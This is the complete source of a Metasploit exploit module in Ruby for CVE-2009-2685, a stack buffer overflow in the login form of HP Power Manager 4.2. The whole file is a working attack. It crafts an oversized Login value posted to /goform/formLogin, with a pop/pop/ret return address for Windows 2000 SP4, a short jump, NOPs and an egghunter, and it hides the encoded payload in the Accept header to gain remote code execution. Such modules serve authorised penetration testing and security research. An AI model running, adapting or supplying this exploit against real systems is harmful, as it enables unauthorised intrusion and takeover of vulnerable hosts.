##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Hewlett-Packard Power Manager Administration Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Hewlett-Packard Power Manager 4.2.
        Sending a specially crafted POST request with an overly long Login string, an
        attacker may be able to execute arbitrary code.
      },
      'Author'         => [ 'MC', 'sinn3r' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2009-2685' ],
          [ 'OSVDB', '59684'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          #'Space'    => 600,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",
          'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
          'EncoderOptions' => { 'BufferRegister'=>'EDI' },
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 2000 SP4 English', { 'Ret' => 0x75022ac4 } ], # pop/pop/ret in msvcp60.dll
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2009-11-04'))
  end

  def exploit

    opts = { :checksum => true }
    hunter,p = generate_egghunter(payload.encoded, payload_badchars, opts)

    sploit = rand_text_alpha_upper(2024)

    # Around 600 bytes of room for egghunter
    sploit[633,2] = Rex::Arch::X86.jmp_short(24)
    sploit[635,4] = [target.ret].pack('V')
    sploit[639,32] = make_nops(32)
    sploit[671,hunter.length] = hunter

    print_status("Trying target #{target.name}...")

    req = send_request_cgi({
      'method'    => 'POST',
      'uri'       => '/goform/formLogin',
      'vars_post' => {
        'HtmlOnly'    => 'true',
        'Login'       => sploit + 'passwd',
        'Password'    => '',
        'loginButton' => 'Submit+Login'
      },
      'headers' => {
        'Accept' => p
      }
    }, 10)

    select(nil,nil,nil,5)
    handler
  end
end
